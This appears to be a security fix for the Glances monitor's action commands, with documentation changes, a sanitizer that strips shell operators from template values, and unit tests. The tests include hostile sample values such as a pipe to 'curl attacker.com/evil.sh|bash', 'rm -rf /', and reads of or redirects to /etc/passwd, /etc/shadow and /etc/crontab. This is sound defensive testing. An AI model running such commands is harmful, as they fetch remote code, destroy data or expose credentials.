Glances has a Command Injection via Process Names in Action Command Templates

@@ -33,20 +33,39 @@ reached:
 
     [fs]
     warning=70
-    warning_action=echo "{{time}} {{mnt_point}} {{used}}/{{size}}" > /tmp/fs.alert
+    warning_action=python /path/to/fs-warning.py {{mnt_point}} {{used}} {{size}}
 
-A last example would be to create a log file containing the total user disk
+.. note::
+
+    For security reasons, Mustache-rendered values are sanitized: the
+    characters ``&&``, ``|``, ``>`` and ``>>`` are replaced by spaces
+    before execution. This prevents command injection through
+    user-controllable data such as process names, container names or
+    mount points.
+
+    As a consequence, **shell operators (pipes, redirections, command
+    chaining) cannot be used directly in action command lines**. If your
+    action requires pipes, redirections or chained commands, write a
+    shell script and call it from the action instead.
+
+For example, to create a log file containing the total user disk
 space usage for a device and notify by email each time a space trigger
-critical is reached:
+critical is reached, create a shell script ``/etc/glances/actions.d/fs-critical.sh``:
+
+.. code-block:: bash
+
+    #!/bin/bash
+    # Usage: fs-critical.sh <time> <device_name> <percent>
+    echo "$1 $2 $3" > /tmp/fs.alert
+    python /etc/glances/actions.d/fs-critical.py
+
+Then reference it in the configuration file:
 
 .. code-block:: ini
 
     [fs]
     critical=90
-    critical_action_repeat=echo "{{time}} {{device_name}} {{percent}}" > /tmp/fs.alert && python /etc/glances/actions.d/fs-critical.py
-
-.. note::
-    Use && as separator for multiple commands
+    critical_action_repeat=/etc/glances/actions.d/fs-critical.sh {{time}} {{device_name}} {{percent}}
 
 Within ``/etc/glances/actions.d/fs-critical.py``:
 

@@ -45,7 +45,7 @@ under the ``[containers]`` section:
     containername_cpu_careful=10
     containername_cpu_warning=20
     containername_cpu_critical=30
-    containername_cpu_critical_action=echo {{Image}} {{Id}} {{cpu}} > /tmp/container_{{name}}.alert
+    containername_cpu_critical_action=/etc/glances/actions.d/container-alert.sh {{Image}} {{Id}} {{cpu}} {{name}}
     # By default, Glances only display running containers
     # Set the following key to True to display all containers
     all=False
@@ -54,6 +54,21 @@ under the ``[containers]`` section:
 
 You can use all the variables ({{foo}}) available in the containers plugin.
 
+.. note::
+
+    Shell operators (``&&``, ``|``, ``>``, ``>>``) are **not allowed**
+    directly in action command lines. If your action requires pipes or
+    redirections, write a shell script and call it from the action.
+    For example, create ``/etc/glances/actions.d/container-alert.sh``:
+
+    .. code-block:: bash
+
+        #!/bin/bash
+        # Usage: container-alert.sh <image> <id> <cpu> <name>
+        echo "$1 $2 $3" > "/tmp/container_$4.alert"
+
+    See :ref:`actions` for details.
+
 Filtering (for hide or show) is based on regular expression. Please be sure that your regular
 expression works as expected. You can use an online tool like `regex101`_ in
 order to test your regular expression.

@@ -20,6 +20,31 @@
 else:
     chevron_tag = True
 
+# Characters that secure_popen interprets as shell operators.
+# Mustache-rendered values must not contain these to prevent command injection.
+_SHELL_OPERATORS = ('&&', '|', '>>', '>')
+
+
+def _sanitize_mustache_dict(mustache_dict):
+    """Return a copy of mustache_dict with shell operators replaced by spaces.
+
+    This prevents command injection when user-controllable data (process names,
+    container names, mount points, etc.) is rendered into action command lines
+    via Mustache templates.
+    """
+    if not mustache_dict:
+        return mustache_dict
+
+    safe = {}
+    for k, v in mustache_dict.items():
+        if isinstance(v, str):
+            for op in _SHELL_OPERATORS:
+                v = v.replace(op, ' ')
+            safe[k] = v
+        else:
+            safe[k] = v
+    return safe
+
 
 class GlancesActions:
     """This class manage action if an alert is reached."""
@@ -75,7 +100,9 @@ def run(self, stat_name, criticality, commands, repeat, mustache_dict=None):
         for cmd in commands:
             # Replace {{arg}} by the dict one (Thk to {Mustache})
             if chevron_tag:
-                cmd_full = chevron.render(cmd, mustache_dict)
+                # Sanitize mustache values to prevent shell operator injection
+                safe_dict = _sanitize_mustache_dict(mustache_dict)
+                cmd_full = chevron.render(cmd, safe_dict)
             else:
                 cmd_full = cmd
             # Execute the action

@@ -0,0 +1,346 @@
+#!/usr/bin/env python
+#
+# Glances - An eye on your system
+#
+# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>
+#
+# SPDX-License-Identifier: LGPL-3.0-only
+#
+
+"""Glances unit tests for action command sanitization.
+
+Tests cover:
+- _sanitize_mustache_dict strips shell operators from string values
+- Pipe (|), chain (&&), redirect (>, >>) injection via Mustache values
+- Non-string values are preserved unchanged
+- The sanitization integrates correctly with GlancesActions.run()
+- secure_popen basic functionality
+"""
+
+import os
+import tempfile
+from unittest.mock import patch
+
+import pytest
+
+from glances.actions import GlancesActions, _sanitize_mustache_dict
+from glances.secure import secure_popen
+
+# Skip the whole module on Windows where echo -n behaves differently
+pytestmark = pytest.mark.skipif(
+    os.name == 'nt',
+    reason='Shell command tests are POSIX-only',
+)
+
+
+# ---------------------------------------------------------------------------
+# Tests – _sanitize_mustache_dict
+# ---------------------------------------------------------------------------
+
+
+class TestSanitizeMustacheDict:
+    """Unit tests for _sanitize_mustache_dict."""
+
+    def test_none_returns_none(self):
+        assert _sanitize_mustache_dict(None) is None
+
+    def test_empty_dict_returns_empty(self):
+        assert _sanitize_mustache_dict({}) == {}
+
+    def test_strips_pipe(self):
+        d = {'name': 'innocent|curl evil.com'}
+        safe = _sanitize_mustache_dict(d)
+        assert '|' not in safe['name']
+        assert safe['name'] == 'innocent curl evil.com'
+
+    def test_strips_double_ampersand(self):
+        d = {'name': 'web && curl evil.com'}
+        safe = _sanitize_mustache_dict(d)
+        assert '&&' not in safe['name']
+        assert safe['name'] == 'web   curl evil.com'
+
+    def test_strips_redirect(self):
+        d = {'name': 'data > /etc/passwd'}
+        safe = _sanitize_mustache_dict(d)
+        assert '>' not in safe['name']
+        assert safe['name'] == 'data   /etc/passwd'
+
+    def test_strips_append_redirect(self):
+        d = {'name': 'data >> /etc/shadow'}
+        safe = _sanitize_mustache_dict(d)
+        assert '>>' not in safe['name']
+        assert safe['name'] == 'data   /etc/shadow'
+
+    def test_strips_multiple_operators(self):
+        d = {'name': 'foo|bar && baz > qux >> end'}
+        safe = _sanitize_mustache_dict(d)
+        assert '|' not in safe['name']
+        assert '&&' not in safe['name']
+        # >> is replaced first (before >), then remaining > is replaced
+        for op in ('|', '&&', '>>', '>'):
+            assert op not in safe['name']
+
+    def test_preserves_int_values(self):
+        d = {'cpu_percent': 95, 'name': 'safe'}
+        safe = _sanitize_mustache_dict(d)
+        assert safe['cpu_percent'] == 95
+
+    def test_preserves_float_values(self):
+        d = {'load': 3.14, 'name': 'safe'}
+        safe = _sanitize_mustache_dict(d)
+        assert safe['load'] == 3.14
+
+    def test_preserves_none_values(self):
+        d = {'key': None, 'name': 'safe'}
+        safe = _sanitize_mustache_dict(d)
+        assert safe['key'] is None
+
+    def test_preserves_bool_values(self):
+        d = {'is_up': True, 'name': 'safe'}
+        safe = _sanitize_mustache_dict(d)
+        assert safe['is_up'] is True
+
+    def test_preserves_list_values(self):
+        d = {'ports': [80, 443], 'name': 'safe'}
+        safe = _sanitize_mustache_dict(d)
+        assert safe['ports'] == [80, 443]
+
+    def test_clean_string_unchanged(self):
+        d = {'name': 'my-web-server', 'mnt_point': '/data/disk1'}
+        safe = _sanitize_mustache_dict(d)
+        assert safe['name'] == 'my-web-server'
+        assert safe['mnt_point'] == '/data/disk1'
+
+    def test_does_not_mutate_original(self):
+        d = {'name': 'foo|bar'}
+        _sanitize_mustache_dict(d)
+        assert d['name'] == 'foo|bar'
+
+    def test_returns_new_dict(self):
+        d = {'name': 'foo'}
+        safe = _sanitize_mustache_dict(d)
+        assert safe is not d
+
+
+# ---------------------------------------------------------------------------
+# Tests – Command injection scenarios
+# ---------------------------------------------------------------------------
+
+
+class TestCommandInjectionPrevention:
+    """Verify that crafted Mustache values cannot inject commands."""
+
+    def test_pipe_injection_in_process_name(self):
+        """Simulate: process name contains pipe to inject curl command."""
+        mustache_dict = {
+            'name': 'innocent|curl attacker.com/evil.sh|bash',
+            'cpu_percent': 99.0,
+        }
+        safe = _sanitize_mustache_dict(mustache_dict)
+        # The pipe characters must be gone
+        assert '|' not in safe['name']
+        assert 'curl' in safe['name']  # text is preserved, just operator removed
+
+    def test_chain_injection_in_container_name(self):
+        """Simulate: container name contains && to chain commands."""
+        mustache_dict = {
+            'name': 'web && curl attacker.com/rev.sh | bash && echo ',
+            'Image': 'nginx:latest',
+            'Id': 'abc123',
+            'cpu': 95.0,
+        }
+        safe = _sanitize_mustache_dict(mustache_dict)
+        assert '&&' not in safe['name']
+        assert '|' not in safe['name']
+        # Non-string fields untouched
+        assert safe['cpu'] == 95.0
+
+    def test_redirect_injection_in_mount_point(self):
+        """Simulate: mount point contains redirect to overwrite files."""
+        mustache_dict = {
+            'mnt_point': '/data > /etc/crontab',
+            'used': 900000,
+            'size': 1000000,
+        }
+        safe = _sanitize_mustache_dict(mustache_dict)
+        assert '>' not in safe['mnt_point']
+
+    def test_append_redirect_injection(self):
+        """Simulate: value contains >> to append to sensitive files."""
+        mustache_dict = {
+            'name': 'logger >> /etc/shadow',
+        }
+        safe = _sanitize_mustache_dict(mustache_dict)
+        assert '>>' not in safe['name']
+
+
+# ---------------------------------------------------------------------------
+# Tests – secure_popen basic functionality
+# ---------------------------------------------------------------------------
+
+
+class TestSecurePopen:
+    """Basic tests for secure_popen."""
+
+    def test_simple_echo(self):
+        assert secure_popen('echo -n TEST') == 'TEST'
+
+    def test_chained_commands(self):
+        assert secure_popen('echo -n A && echo -n B') == 'AB'
+
+    def test_pipe(self):
+        result = secure_popen('echo FOO | grep FOO')
+        assert 'FOO' in result
+
+    def test_redirect_to_file(self):
+        with tempfile.NamedTemporaryFile(mode='r', suffix='.txt', delete=False) as f:
+            tmpfile = f.name
+        try:
+            secure_popen(f'echo -n HELLO > {tmpfile}')
+            with open(tmpfile) as f:
+                assert f.read() == 'HELLO'
+        finally:
+            os.unlink(tmpfile)
+
+
+# ---------------------------------------------------------------------------
+# Tests – GlancesActions.run() integration
+# ---------------------------------------------------------------------------
+
+
+class TestActionsRunIntegration:
+    """Verify that GlancesActions.run() uses sanitized mustache values."""
+
+    @pytest.fixture
+    def actions(self):
+        """Create a GlancesActions instance with an expired start timer."""
+        a = GlancesActions()
+        # Force the start timer to be finished so actions can run immediately
+        a.start_timer = type('FakeTimer', (), {'finished': lambda self: True})()
+        return a
+
+    def test_run_with_safe_values(self, actions):
+        """Normal run with safe values should succeed."""
+        result = actions.run(
+            'cpu',
+            'CRITICAL',
+            ['echo -n {{name}}'],
+            repeat=False,
+            mustache_dict={'name': 'myprocess'},
+        )
+        assert result is True
+
+    def test_run_sanitizes_pipe_in_mustache(self, actions):
+        """Pipe in mustache value must not create a real pipe."""
+        with patch('glances.actions.secure_popen') as mock_popen:
+            mock_popen.return_value = ''
+            actions.run(
+                'cpu',
+                'CRITICAL',
+                ['echo {{name}}'],
+                repeat=False,
+                mustache_dict={'name': 'evil|rm -rf /'},
+            )
+            # The command passed to secure_popen should have | replaced
+            called_cmd = mock_popen.call_args[0][0]
+            assert '|' not in called_cmd
+            assert 'evil' in called_cmd
+            assert 'rm -rf /' in called_cmd  # text preserved, pipe removed
+
+    def test_run_sanitizes_chain_in_mustache(self, actions):
+        """&& in mustache value must not chain commands."""
+        with patch('glances.actions.secure_popen') as mock_popen:
+            mock_popen.return_value = ''
+            actions.run(
+                'containers',
+                'WARNING',
+                ['echo {{name}}'],
+                repeat=False,
+                mustache_dict={'name': 'web && cat /etc/passwd'},
+            )
+            called_cmd = mock_popen.call_args[0][0]
+            assert '&&' not in called_cmd
+
+    def test_run_sanitizes_redirect_in_mustache(self, actions):
+        """> in mustache value must not redirect output."""
+        with patch('glances.actions.secure_popen') as mock_popen:
+            mock_popen.return_value = ''
+            actions.run(
+                'fs',
+                'CRITICAL',
+                ['echo {{mnt_point}}'],
+                repeat=False,
+                mustache_dict={'mnt_point': '/data > /etc/crontab'},
+            )
+            called_cmd = mock_popen.call_args[0][0]
+            assert '>' not in called_cmd
+
+    def test_run_preserves_template_operators(self, actions):
+        """Operators in the template itself (not in values) must be preserved."""
+        with patch('glances.actions.secure_popen') as mock_popen:
+            mock_popen.return_value = ''
+            # The template has a pipe, but the mustache value is clean
+            actions.run(
+                'cpu',
+                'CRITICAL',
+                ['echo {{name}} | grep something'],
+                repeat=False,
+                mustache_dict={'name': 'safe-process'},
+            )
+            called_cmd = mock_popen.call_args[0][0]
+            # Template pipe is preserved
+            assert '|' in called_cmd
+            assert 'grep something' in called_cmd
+
+    def test_run_preserves_template_redirect(self, actions):
+        """Redirect in the template itself must be preserved."""
+        with patch('glances.actions.secure_popen') as mock_popen:
+            mock_popen.return_value = ''
+            actions.run(
+                'fs',
+                'WARNING',
+                ['echo {{mnt_point}} > /tmp/alert.log'],
+                repeat=False,
+                mustache_dict={'mnt_point': '/data/disk1'},
+            )
+            called_cmd = mock_popen.call_args[0][0]
+            assert '>' in called_cmd
+            assert '/tmp/alert.log' in called_cmd
+
+    def test_run_preserves_template_chain(self, actions):
+        """&& in the template itself must be preserved."""
+        with patch('glances.actions.secure_popen') as mock_popen:
+            mock_popen.return_value = ''
+            actions.run(
+                'cpu',
+                'CRITICAL',
+                ['echo {{name}} && echo done'],
+                repeat=False,
+                mustache_dict={'name': 'safe-process'},
+            )
+            called_cmd = mock_popen.call_args[0][0]
+            assert '&&' in called_cmd
+
+    def test_run_does_not_execute_when_already_triggered(self, actions):
+        """Same criticality should not re-trigger if repeat=False."""
+        actions.set('cpu', 'CRITICAL')
+        result = actions.run(
+            'cpu',
+            'CRITICAL',
+            ['echo test'],
+            repeat=False,
+            mustache_dict={},
+        )
+        assert result is False
+
+    def test_run_repeats_when_repeat_true(self, actions):
+        """Same criticality should re-trigger when repeat=True."""
+        actions.set('cpu', 'CRITICAL')
+        result = actions.run(
+            'cpu',
+            'CRITICAL',
+            ['echo test'],
+            repeat=True,
+            mustache_dict={},
+        )
+        assert result is True